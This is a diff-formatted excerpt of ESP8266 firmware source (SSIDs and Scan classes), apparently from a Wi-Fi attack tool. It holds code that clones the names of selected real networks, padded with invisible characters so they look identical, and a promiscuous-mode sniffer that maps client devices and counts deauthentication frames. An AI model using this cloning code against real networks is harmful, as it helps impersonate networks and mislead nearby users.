|
||||
if (force) {
|
||||
internal_remove(0);
|
||||
} else {
|
||||
prntln(SS_ERROR_FULL);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (clones > SSID_LIST_SIZE) clones = SSID_LIST_SIZE;
|
||||
|
||||
for (int i = 0; i < clones; i++) {
|
||||
if(clones > 1) name = randomize(name);
|
||||
|
||||
internal_add(name, wpa2, name.length());
|
||||
|
||||
if (list->size() > SSID_LIST_SIZE) internal_remove(0);
|
||||
}
|
||||
|
||||
prnt(SS_ADDED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void SSIDs::cloneSelected(bool force) {
|
||||
if (accesspoints.selected() > 0) {
|
||||
int clones = SSID_LIST_SIZE;
|
||||
|
||||
if (!force) clones -= list->size();
|
||||
clones /= accesspoints.selected();
|
||||
|
||||
int apCount = accesspoints.count();
|
||||
|
||||
for (int i = 0; i < apCount; i++) {
|
||||
if (accesspoints.getSelected(i)) add(accesspoints.getSSID(i), accesspoints.getEnc(i) != 0, clones, force);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bool SSIDs::getRandom() {
|
||||
return randomMode;
|
||||
}
|
||||
|
||||
void SSIDs::replace(int num, String name, bool wpa2) {
|
||||
if (!check(num)) return;
|
||||
|
||||
int len = name.length();
|
||||
|
||||
if (len > 32) len = 32;
|
||||
SSID newSSID;
|
||||
newSSID.name = randomize(name);
|
||||
newSSID.wpa2 = wpa2;
|
||||
newSSID.len = (uint8_t)len;
|
||||
list->replace(num, newSSID);
|
||||
|
||||
prnt(SS_REPLACED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void SSIDs::print(int num) {
|
||||
print(num, true, false);
|
||||
}
|
||||
|
||||
void SSIDs::print(int num, bool header, bool footer) {
|
||||
if (!check(num)) return;
|
||||
|
||||
if (header) {
|
||||
prntln(SS_TABLE_HEADER);
|
||||
prntln(SS_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
prnt(leftRight(String(), (String)num, 2));
|
||||
prnt(leftRight(String(SPACE), getEncStr(num), 5));
|
||||
prntln(leftRight(String(SPACE) + getName(num), String(), 33));
|
||||
|
||||
if (footer) prntln(SS_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
void SSIDs::printAll() {
|
||||
prntln(SS_HEADER);
|
||||
int c = count();
|
||||
|
||||
if (c == 0) prntln(SS_ERROR_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||
}
|
||||
|
||||
int SSIDs::count() {
|
||||
return list->size();
|
||||
}
|
||||
|
||||
bool SSIDs::check(int num) {
|
||||
return num >= 0 && num < count();
|
||||
}
|
||||
|
||||
void SSIDs::enableRandom(uint32_t randomInterval) {
|
||||
randomMode = true;
|
||||
SSIDs::randomInterval = randomInterval;
|
||||
prntln(SS_RANDOM_ENABLED);
|
||||
update();
|
||||
}
|
||||
|
||||
void SSIDs::disableRandom() {
|
||||
randomMode = false;
|
||||
internal_removeAll();
|
||||
prntln(SS_RANDOM_DISABLED);
|
||||
}
|
||||
|
||||
void SSIDs::internal_add(String name, bool wpa2, int len) {
|
||||
if (len > 32) {
|
||||
name = name.substring(0, 32);
|
||||
len = 32;
|
||||
}
|
||||
|
||||
name = fixUtf8(name);
|
||||
|
||||
SSID newSSID;
|
||||
newSSID.name = name;
|
||||
newSSID.wpa2 = wpa2;
|
||||
newSSID.len = (uint8_t)len;
|
||||
|
||||
list->add(newSSID);
|
||||
}
|
||||
|
||||
void SSIDs::internal_remove(int num) {
|
||||
list->remove(num);
|
||||
}
|
||||
|
||||
void SSIDs::internal_removeAll() {
|
||||
list->clear();
|
||||
}
|
||||
#include "SSIDs.h"
|
||||
|
||||
SSIDs::SSIDs() {
|
||||
list = new SimpleList<SSID>;
|
||||
}
|
||||
|
||||
void SSIDs::load() {
|
||||
internal_removeAll();
|
||||
DynamicJsonBuffer jsonBuffer(4000);
|
||||
|
||||
checkFile(FILE_PATH, str(SS_JSON_DEFAULT));
|
||||
JsonObject& obj = parseJSONFile(FILE_PATH, jsonBuffer);
|
||||
JsonArray & arr = obj.get<JsonArray>(str(SS_JSON_SSIDS));
|
||||
|
||||
for (uint32_t i = 0; i < arr.size() && i < SSID_LIST_SIZE; i++) {
|
||||
JsonArray& tmpArray = arr.get<JsonVariant>(i);
|
||||
internal_add(tmpArray.get<String>(0), tmpArray.get<bool>(1), tmpArray.get<int>(2));
|
||||
}
|
||||
|
||||
prnt(SS_LOADED);
|
||||
prntln(FILE_PATH);
|
||||
}
|
||||
|
||||
void SSIDs::load(String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
load();
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void SSIDs::removeAll() {
|
||||
internal_removeAll();
|
||||
prntln(SS_CLEARED);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void SSIDs::save(bool force) {
|
||||
if (!force && !changed) return;
|
||||
|
||||
String buf = String(); // create buffer
|
||||
buf += String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SS_JSON_RANDOM) + String(DOUBLEQUOTES) + String(
|
||||
DOUBLEPOINT) + b2s(randomMode) + String(COMMA); // {"random":false,
|
||||
buf += String(DOUBLEQUOTES) + str(SS_JSON_SSIDS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) +
|
||||
String(OPEN_BRACKET); // "ssids":[
|
||||
|
||||
if (!writeFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
buf = String(); // clear buffer
|
||||
|
||||
String name;
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
name = escape(getName(i));
|
||||
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // ["name",
|
||||
buf += b2s(getWPA2(i)) + String(COMMA); // false,
|
||||
buf += String(getLen(i)) + String(CLOSE_BRACKET); // 12]
|
||||
|
||||
if (i < c - 1) buf += COMMA; // ,
|
||||
|
||||
if (buf.length() >= 1024) {
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String(); // clear buffer
|
||||
}
|
||||
}
|
||||
|
||||
buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}
|
||||
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
prnt(SS_SAVED_IN);
|
||||
prntln(FILE_PATH);
|
||||
changed = false;
|
||||
}
|
||||
|
||||
void SSIDs::save(bool force, String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
save(force);
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void SSIDs::update() {
|
||||
if (randomMode) {
|
||||
if (currentTime - randomTime > randomInterval * 1000) {
|
||||
prntln(SS_RANDOM_INFO);
|
||||
|
||||
for (int i = 0; i < SSID_LIST_SIZE; i++) {
|
||||
SSID newSSID;
|
||||
|
||||
if (check(i)) newSSID = list->get(i);
|
||||
|
||||
newSSID.name = String();
|
||||
newSSID.len = 32;
|
||||
|
||||
for (int i = 0; i < 32; i++) newSSID.name += char(random(32, 127));
|
||||
|
||||
newSSID.wpa2 = random(0, 2);
|
||||
|
||||
if (check(i)) list->replace(i, newSSID);
|
||||
else list->add(newSSID);
|
||||
}
|
||||
|
||||
randomTime = currentTime;
|
||||
changed = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
String SSIDs::getName(int num) {
|
||||
return check(num) ? list->get(num).name : String();
|
||||
}
|
||||
|
||||
bool SSIDs::getWPA2(int num) {
|
||||
return check(num) ? list->get(num).wpa2 : false;
|
||||
}
|
||||
|
||||
int SSIDs::getLen(int num) {
|
||||
return check(num) ? list->get(num).len : 0;
|
||||
}
|
||||
|
||||
void SSIDs::setWPA2(int num, bool wpa2) {
|
||||
SSID newSSID = list->get(num);
|
||||
|
||||
newSSID.wpa2 = wpa2;
|
||||
list->replace(num, newSSID);
|
||||
}
|
||||
|
||||
String SSIDs::getEncStr(int num) {
|
||||
if (getWPA2(num)) return "WPA2";
|
||||
else return "-";
|
||||
}
|
||||
|
||||
void SSIDs::remove(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_remove(num);
|
||||
prnt(SS_REMOVED);
|
||||
prntln(getName(num));
|
||||
changed = true;
|
||||
}
|
||||
|
||||
String SSIDs::randomize(String name) {
|
||||
int ssidlen = name.length();
|
||||
|
||||
if (ssidlen > 32) name = name.substring(0, 32);
|
||||
|
||||
if (ssidlen < 32) {
|
||||
for (int i = ssidlen; i < 32; i++) {
|
||||
int rnd = random(3);
|
||||
|
||||
if ((i < 29) && (rnd == 0)) { // ZERO WIDTH SPACE
|
||||
name += char(0xE2);
|
||||
name += char(0x80);
|
||||
name += char(0x8B);
|
||||
i += 2;
|
||||
} else if ((i < 30) && (rnd == 1)) { // NO-BREAK SPACE
|
||||
name += char(0xC2);
|
||||
name += char(0xA0);
|
||||
i += 1;
|
||||
} else {
|
||||
name += char(0x20); // SPACE
|
||||
}
|
||||
}
|
||||
}
|
||||
return name;
|
||||
}
|
||||
|
||||
void SSIDs::add(String name, bool wpa2, int clones, bool force) {
|
||||
if (list->size() >= SSID_LIST_SIZE) {
|
||||
if (force) {
|
||||
internal_remove(0);
|
||||
} else {
|
||||
prntln(SS_ERROR_FULL);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (clones > SSID_LIST_SIZE) clones = SSID_LIST_SIZE;
|
||||
|
||||
for (int i = 0; i < clones; i++) {
|
||||
if (clones > 1) name = randomize(name);
|
||||
|
||||
internal_add(name, wpa2, name.length());
|
||||
|
||||
if (list->size() > SSID_LIST_SIZE) internal_remove(0);
|
||||
}
|
||||
|
||||
prnt(SS_ADDED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void SSIDs::cloneSelected(bool force) {
|
||||
if (accesspoints.selected() > 0) {
|
||||
int clones = SSID_LIST_SIZE;
|
||||
|
||||
if (!force) clones -= list->size();
|
||||
clones /= accesspoints.selected();
|
||||
|
||||
int apCount = accesspoints.count();
|
||||
|
||||
for (int i = 0; i < apCount; i++) {
|
||||
if (accesspoints.getSelected(i)) add(accesspoints.getSSID(i), accesspoints.getEnc(i) != 0, clones, force);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bool SSIDs::getRandom() {
|
||||
return randomMode;
|
||||
}
|
||||
|
||||
void SSIDs::replace(int num, String name, bool wpa2) {
|
||||
if (!check(num)) return;
|
||||
|
||||
int len = name.length();
|
||||
|
||||
if (len > 32) len = 32;
|
||||
SSID newSSID;
|
||||
newSSID.name = randomize(name);
|
||||
newSSID.wpa2 = wpa2;
|
||||
newSSID.len = (uint8_t)len;
|
||||
list->replace(num, newSSID);
|
||||
|
||||
prnt(SS_REPLACED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void SSIDs::print(int num) {
|
||||
print(num, true, false);
|
||||
}
|
||||
|
||||
void SSIDs::print(int num, bool header, bool footer) {
|
||||
if (!check(num)) return;
|
||||
|
||||
if (header) {
|
||||
prntln(SS_TABLE_HEADER);
|
||||
prntln(SS_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
prnt(leftRight(String(), (String)num, 2));
|
||||
prnt(leftRight(String(SPACE), getEncStr(num), 5));
|
||||
prntln(leftRight(String(SPACE) + getName(num), String(), 33));
|
||||
|
||||
if (footer) prntln(SS_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
void SSIDs::printAll() {
|
||||
prntln(SS_HEADER);
|
||||
int c = count();
|
||||
|
||||
if (c == 0) prntln(SS_ERROR_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||
}
|
||||
|
||||
int SSIDs::count() {
|
||||
return list->size();
|
||||
}
|
||||
|
||||
bool SSIDs::check(int num) {
|
||||
return num >= 0 && num < count();
|
||||
}
|
||||
|
||||
void SSIDs::enableRandom(uint32_t randomInterval) {
|
||||
randomMode = true;
|
||||
SSIDs::randomInterval = randomInterval;
|
||||
prntln(SS_RANDOM_ENABLED);
|
||||
update();
|
||||
}
|
||||
|
||||
void SSIDs::disableRandom() {
|
||||
randomMode = false;
|
||||
internal_removeAll();
|
||||
prntln(SS_RANDOM_DISABLED);
|
||||
}
|
||||
|
||||
void SSIDs::internal_add(String name, bool wpa2, int len) {
|
||||
if (len > 32) {
|
||||
name = name.substring(0, 32);
|
||||
len = 32;
|
||||
}
|
||||
|
||||
name = fixUtf8(name);
|
||||
|
||||
SSID newSSID;
|
||||
newSSID.name = name;
|
||||
newSSID.wpa2 = wpa2;
|
||||
newSSID.len = (uint8_t)len;
|
||||
|
||||
list->add(newSSID);
|
||||
}
|
||||
|
||||
void SSIDs::internal_remove(int num) {
|
||||
list->remove(num);
|
||||
}
|
||||
|
||||
void SSIDs::internal_removeAll() {
|
||||
list->clear();
|
||||
}
|
||||
@@ -1,87 +1,87 @@
|
||||
#ifndef SSIDs_h
|
||||
#define SSIDs_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
#include <FS.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "ArduinoJson.h"
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
#include "Settings.h"
|
||||
#include "Accesspoints.h"
|
||||
|
||||
#define SSID_LIST_SIZE 60
|
||||
|
||||
extern Settings settings;
|
||||
extern uint32_t currentTime;
|
||||
extern Accesspoints accesspoints;
|
||||
|
||||
extern void checkFile(String path, String data);
|
||||
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer);
|
||||
extern bool appendFile(String path, String& buf);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern void readFileToSerial(String path);
|
||||
extern String fixUtf8(String str);
|
||||
extern String leftRight(String a, String b, int len);
|
||||
extern String escape(String str);
|
||||
|
||||
class SSIDs {
|
||||
public:
|
||||
SSIDs();
|
||||
|
||||
void load();
|
||||
void load(String filepath);
|
||||
void save(bool force);
|
||||
void save(bool force, String filepath);
|
||||
void update();
|
||||
|
||||
void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
void add(String name, bool wpa2, int clones, bool force);
|
||||
void cloneSelected(bool force);
|
||||
void remove(int num);
|
||||
void enableRandom(uint32_t randomInterval);
|
||||
void disableRandom();
|
||||
bool getRandom();
|
||||
|
||||
String getName(int num);
|
||||
bool getWPA2(int num);
|
||||
String getEncStr(int num);
|
||||
int getLen(int num);
|
||||
|
||||
void setWPA2(int num, bool wpa2);
|
||||
void replace(int num, String name, bool wpa2);
|
||||
|
||||
void printAll();
|
||||
void removeAll();
|
||||
|
||||
int count();
|
||||
|
||||
private:
|
||||
bool changed = false;
|
||||
bool randomMode = false;
|
||||
uint32_t randomInterval = 2000;
|
||||
uint32_t randomTime = 0;
|
||||
|
||||
struct SSID {
|
||||
String name; // SSID
|
||||
bool wpa2; // WPA2 encrypted or not
|
||||
uint8_t len; // original length (before editing it to be 32 characters)
|
||||
};
|
||||
|
||||
String FILE_PATH = "/ssids.json";
|
||||
|
||||
SimpleList<SSID>* list;
|
||||
|
||||
bool check(int num);
|
||||
String randomize(String name);
|
||||
|
||||
void internal_add(String name, bool wpa2, int add);
|
||||
void internal_remove(int num);
|
||||
void internal_removeAll();
|
||||
};
|
||||
|
||||
#endif // ifndef SSIDs_h
|
||||
#ifndef SSIDs_h
|
||||
#define SSIDs_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
#include <FS.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "ArduinoJson.h"
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
#include "Settings.h"
|
||||
#include "Accesspoints.h"
|
||||
|
||||
#define SSID_LIST_SIZE 60
|
||||
|
||||
extern Settings settings;
|
||||
extern uint32_t currentTime;
|
||||
extern Accesspoints accesspoints;
|
||||
|
||||
extern void checkFile(String path, String data);
|
||||
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer);
|
||||
extern bool appendFile(String path, String& buf);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern void readFileToSerial(String path);
|
||||
extern String fixUtf8(String str);
|
||||
extern String leftRight(String a, String b, int len);
|
||||
extern String escape(String str);
|
||||
|
||||
class SSIDs {
|
||||
public:
|
||||
SSIDs();
|
||||
|
||||
void load();
|
||||
void load(String filepath);
|
||||
void save(bool force);
|
||||
void save(bool force, String filepath);
|
||||
void update();
|
||||
|
||||
void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
void add(String name, bool wpa2, int clones, bool force);
|
||||
void cloneSelected(bool force);
|
||||
void remove(int num);
|
||||
void enableRandom(uint32_t randomInterval);
|
||||
void disableRandom();
|
||||
bool getRandom();
|
||||
|
||||
String getName(int num);
|
||||
bool getWPA2(int num);
|
||||
String getEncStr(int num);
|
||||
int getLen(int num);
|
||||
|
||||
void setWPA2(int num, bool wpa2);
|
||||
void replace(int num, String name, bool wpa2);
|
||||
|
||||
void printAll();
|
||||
void removeAll();
|
||||
|
||||
int count();
|
||||
|
||||
private:
|
||||
bool changed = false;
|
||||
bool randomMode = false;
|
||||
uint32_t randomInterval = 2000;
|
||||
uint32_t randomTime = 0;
|
||||
|
||||
struct SSID {
|
||||
String name; // SSID
|
||||
bool wpa2; // WPA2 encrypted or not
|
||||
uint8_t len; // original length (before editing it to be 32 characters)
|
||||
};
|
||||
|
||||
String FILE_PATH = "/ssids.json";
|
||||
|
||||
SimpleList<SSID>* list;
|
||||
|
||||
bool check(int num);
|
||||
String randomize(String name);
|
||||
|
||||
void internal_add(String name, bool wpa2, int add);
|
||||
void internal_remove(int num);
|
||||
void internal_removeAll();
|
||||
};
|
||||
|
||||
#endif // ifndef SSIDs_h
|
||||
@@ -1,443 +1,448 @@
|
||||
#include "Scan.h"
|
||||
|
||||
Scan::Scan() {
|
||||
list = new SimpleList<uint16_t>;
|
||||
}
|
||||
|
||||
void Scan::sniffer(uint8_t* buf, uint16_t len) {
|
||||
if (!isSniffing()) return;
|
||||
|
||||
packets++;
|
||||
|
||||
if (len < 28) return; // drop frames that are too short to have a valid MAC header
|
||||
|
||||
if ((buf[12] == 0xc0) || (buf[12] == 0xa0)) {
|
||||
tmpDeauths++;
|
||||
return;
|
||||
}
|
||||
|
||||
// drop beacon frames, probe requests/responses and deauth/disassociation frames
|
||||
if ((buf[12] == 0x80) || (buf[12] == 0x40) || (buf[12] == 0x50) /* || buf[12] == 0xc0 || buf[12] == 0xa0*/) return;
|
||||
|
||||
// only allow data frames
|
||||
// if(buf[12] != 0x08 && buf[12] != 0x88) return;
|
||||
|
||||
uint8_t* macTo = &buf[16];
|
||||
uint8_t* macFrom = &buf[22];
|
||||
|
||||
if (macBroadcast(macTo) || macBroadcast(macFrom) || !macValid(macTo) || !macValid(macFrom) || macMulticast(macTo) ||
|
||||
macMulticast(macFrom)) return;
|
||||
|
||||
int accesspointNum = findAccesspoint(macFrom);
|
||||
|
||||
if (accesspointNum >= 0) {
|
||||
stations.add(macTo, accesspoints.getID(accesspointNum));
|
||||
} else {
|
||||
accesspointNum = findAccesspoint(macTo);
|
||||
|
||||
if (accesspointNum >= 0) {
|
||||
stations.add(macFrom, accesspoints.getID(accesspointNum));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int Scan::findAccesspoint(uint8_t* mac) {
|
||||
for (int i = 0; i < accesspoints.count(); i++) {
|
||||
if (memcmp(accesspoints.getMac(i), mac, 6) == 0) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
void Scan::start(uint8_t mode) {
|
||||
start(mode, sniffTime, scan_continue_mode, continueTime, channelHop, wifi_channel);
|
||||
}
|
||||
|
||||
void Scan::start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop,
|
||||
uint8_t channel) {
|
||||
if (mode != SCAN_MODE_OFF) stop();
|
||||
|
||||
setWifiChannel(channel);
|
||||
Scan::continueStartTime = currentTime;
|
||||
Scan::snifferPacketTime = continueStartTime;
|
||||
Scan::snifferOutputTime = continueStartTime;
|
||||
Scan::continueTime = continueTime;
|
||||
Scan::sniffTime = time;
|
||||
Scan::channelHop = channelHop;
|
||||
Scan::scanMode = mode;
|
||||
Scan::scan_continue_mode = nextmode;
|
||||
|
||||
if ((sniffTime > 0) && (sniffTime < 1000)) sniffTime = 1000;
|
||||
|
||||
// Serial.printf("mode: %u, time: %u, continue-mode: %u, continueTime: %u, channelHop: %u, channel: %u\r\n", mode,
|
||||
// time, scan_continue_mode, continueTime, channelHop, channel);
|
||||
|
||||
/* AP Scan */
|
||||
if ((mode == SCAN_MODE_APS) || (mode == SCAN_MODE_ALL)) {
|
||||
// remove old results
|
||||
accesspoints.removeAll();
|
||||
stations.removeAll();
|
||||
// start AP scan
|
||||
prntln(SC_START_AP);
|
||||
WiFi.scanNetworks(true, true);
|
||||
}
|
||||
|
||||
/* Station Scan */
|
||||
else if (mode == SCAN_MODE_STATIONS) {
|
||||
// start station scan
|
||||
if (accesspoints.count() < 1) {
|
||||
start(SCAN_MODE_ALL);
|
||||
// Serial.println(str(SC_ERROR_NO_AP));
|
||||
return;
|
||||
}
|
||||
snifferStartTime = currentTime;
|
||||
prnt(SC_START_CLIENT);
|
||||
|
||||
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
|
||||
else prnt(SC_INFINITELY);
|
||||
|
||||
if (!channelHop) {
|
||||
prnt(SC_ON_CHANNEL);
|
||||
prnt(wifi_channel);
|
||||
}
|
||||
prntln();
|
||||
|
||||
// enable sniffer
|
||||
stopAP();
|
||||
wifi_promiscuous_enable(true);
|
||||
}
|
||||
|
||||
else if (mode == SCAN_MODE_SNIFFER) {
|
||||
deauths = tmpDeauths;
|
||||
tmpDeauths = 0;
|
||||
snifferStartTime = currentTime;
|
||||
prnt(SS_START_SNIFFER);
|
||||
|
||||
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
|
||||
else prnt(SC_INFINITELY);
|
||||
prnt(SC_ON_CHANNEL);
|
||||
prntln(channelHop ? str(SC_ONE_TO) + (String)14 : (String)wifi_channel);
|
||||
|
||||
// enable sniffer
|
||||
stopAP();
|
||||
wifi_promiscuous_enable(true);
|
||||
}
|
||||
|
||||
/* Stop scan */
|
||||
else if (mode == SCAN_MODE_OFF) {
|
||||
wifi_promiscuous_enable(false);
|
||||
|
||||
if (settings.getWebInterface()) resumeAP();
|
||||
prntln(SC_STOPPED);
|
||||
save(true);
|
||||
|
||||
if (scan_continue_mode != SCAN_MODE_OFF) {
|
||||
prnt(SC_RESTART);
|
||||
prnt(int(continueTime / 1000));
|
||||
prntln(SC_CONTINUE);
|
||||
}
|
||||
}
|
||||
|
||||
/* ERROR */
|
||||
else {
|
||||
prnt(SC_ERROR_MODE);
|
||||
prntln(mode);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
void Scan::update() {
|
||||
if (scanMode == SCAN_MODE_OFF) {
|
||||
// restart scan if it is continuous
|
||||
if (scan_continue_mode != SCAN_MODE_OFF) {
|
||||
if (currentTime - continueStartTime > continueTime) start(scan_continue_mode);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
// sniffer
|
||||
if (isSniffing()) {
|
||||
// update packet list every 1s
|
||||
if (currentTime - snifferPacketTime > 1000) {
|
||||
snifferPacketTime = currentTime;
|
||||
list->add(packets);
|
||||
|
||||
if (list->size() > SCAN_PACKET_LIST_SIZE) list->remove(0);
|
||||
deauths = tmpDeauths;
|
||||
tmpDeauths = 0;
|
||||
packets = 0;
|
||||
}
|
||||
|
||||
// print status every 3s
|
||||
if (currentTime - snifferOutputTime > 3000) {
|
||||
char s[100];
|
||||
|
||||
if (sniffTime > 0) {
|
||||
sprintf(s, str(SC_OUTPUT_A).c_str(), getPercentage(), packets, stations.count(), deauths);
|
||||
} else {
|
||||
sprintf(s, str(SC_OUTPUT_B).c_str(), packets, stations.count(), deauths);
|
||||
}
|
||||
prnt(String(s));
|
||||
snifferOutputTime = currentTime;
|
||||
}
|
||||
|
||||
// channel hopping
|
||||
if (channelHop && (currentTime - snifferChannelTime > settings.getChTime())) {
|
||||
snifferChannelTime = currentTime;
|
||||
|
||||
if (scanMode == SCAN_MODE_STATIONS) nextChannel(); // go to next channel an AP is on
|
||||
else setChannel(wifi_channel + 1); // go to next channel
|
||||
}
|
||||
}
|
||||
|
||||
// APs
|
||||
if ((scanMode == SCAN_MODE_APS) || (scanMode == SCAN_MODE_ALL)) {
|
||||
int16_t results = WiFi.scanComplete();
|
||||
|
||||
if (results >= 0) {
|
||||
for (int16_t i = 0; i < results && i < 256; i++) {
|
||||
if (channelHop || (WiFi.channel(i) == wifi_channel)) accesspoints.add(i, false);
|
||||
}
|
||||
accesspoints.sort();
|
||||
accesspoints.printAll();
|
||||
|
||||
if (scanMode == SCAN_MODE_ALL) {
|
||||
delay(30);
|
||||
start(SCAN_MODE_STATIONS);
|
||||
}
|
||||
else start(SCAN_MODE_OFF);
|
||||
}
|
||||
}
|
||||
|
||||
// Stations
|
||||
else if ((sniffTime > 0) && (currentTime > snifferStartTime + sniffTime)) {
|
||||
wifi_promiscuous_enable(false);
|
||||
|
||||
if (scanMode == SCAN_MODE_STATIONS) {
|
||||
stations.sort();
|
||||
stations.printAll();
|
||||
}
|
||||
start(SCAN_MODE_OFF);
|
||||
}
|
||||
}
|
||||
|
||||
void Scan::setup() {
|
||||
save(true);
|
||||
}
|
||||
|
||||
void Scan::stop() {
|
||||
scan_continue_mode = SCAN_MODE_OFF;
|
||||
start(SCAN_MODE_OFF);
|
||||
}
|
||||
|
||||
void Scan::setChannel(uint8_t ch) {
|
||||
if (ch > 14) ch = 1;
|
||||
else if (ch < 1) ch = 14;
|
||||
|
||||
wifi_promiscuous_enable(0);
|
||||
setWifiChannel(ch);
|
||||
wifi_promiscuous_enable(1);
|
||||
}
|
||||
|
||||
void Scan::nextChannel() {
|
||||
if (accesspoints.count() > 1) {
|
||||
uint8_t ch = wifi_channel;
|
||||
|
||||
do {
|
||||
ch++;
|
||||
|
||||
if (ch > 14) ch = 1;
|
||||
} while (!apWithChannel(ch));
|
||||
setChannel(ch);
|
||||
}
|
||||
}
|
||||
|
||||
bool Scan::apWithChannel(uint8_t ch) {
|
||||
for (int i = 0; i < accesspoints.count(); i++)
|
||||
if (accesspoints.getCh(i) == ch) return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
void Scan::save(bool force, String filePath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filePath;
|
||||
save(true);
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void Scan::save(bool force) {
|
||||
if (!(accesspoints.changed || stations.changed) && !force) return;
|
||||
|
||||
// Accesspoints
|
||||
String buf = String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SC_JSON_APS) + String(DOUBLEQUOTES) + String(
|
||||
DOUBLEPOINT) + String(OPEN_BRACKET); // {"aps":[
|
||||
|
||||
if (!writeFile(FILE_PATH, buf)) { // overwrite old file
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String(); // clear buffer
|
||||
uint32_t apCount = accesspoints.count();
|
||||
|
||||
for (uint32_t i = 0; i < apCount; i++) {
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + escape(accesspoints.getSSID(i)) + String(DOUBLEQUOTES) +
|
||||
String(COMMA); // ["ssid",
|
||||
buf += String(DOUBLEQUOTES) + escape(accesspoints.getNameStr(i)) + String(DOUBLEQUOTES) + String(COMMA); // "name",
|
||||
buf += String(accesspoints.getCh(i)) + String(COMMA); // 1,
|
||||
buf += String(accesspoints.getRSSI(i)) + String(COMMA); // -30,
|
||||
buf += String(DOUBLEQUOTES) + accesspoints.getEncStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "wpa2",
|
||||
buf += String(DOUBLEQUOTES) + accesspoints.getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22",
|
||||
buf += String(DOUBLEQUOTES) + accesspoints.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
|
||||
buf += b2s(accesspoints.getSelected(i)) + String(CLOSE_BRACKET); // false]
|
||||
|
||||
if (i < apCount - 1) buf += String(COMMA); // ,
|
||||
|
||||
if (buf.length() >= 1024) {
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String(); // clear buffer
|
||||
}
|
||||
}
|
||||
|
||||
// Stations
|
||||
buf += String(CLOSE_BRACKET) + String(COMMA) + String(DOUBLEQUOTES) + str(SC_JSON_STATIONS) + String(DOUBLEQUOTES) +
|
||||
String(DOUBLEPOINT) + String(OPEN_BRACKET); // ],"stations":[;
|
||||
uint32_t stationCount = stations.count();
|
||||
|
||||
for (uint32_t i = 0; i < stationCount; i++) {
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + stations.getMacStr(i) + String(DOUBLEQUOTES) +
|
||||
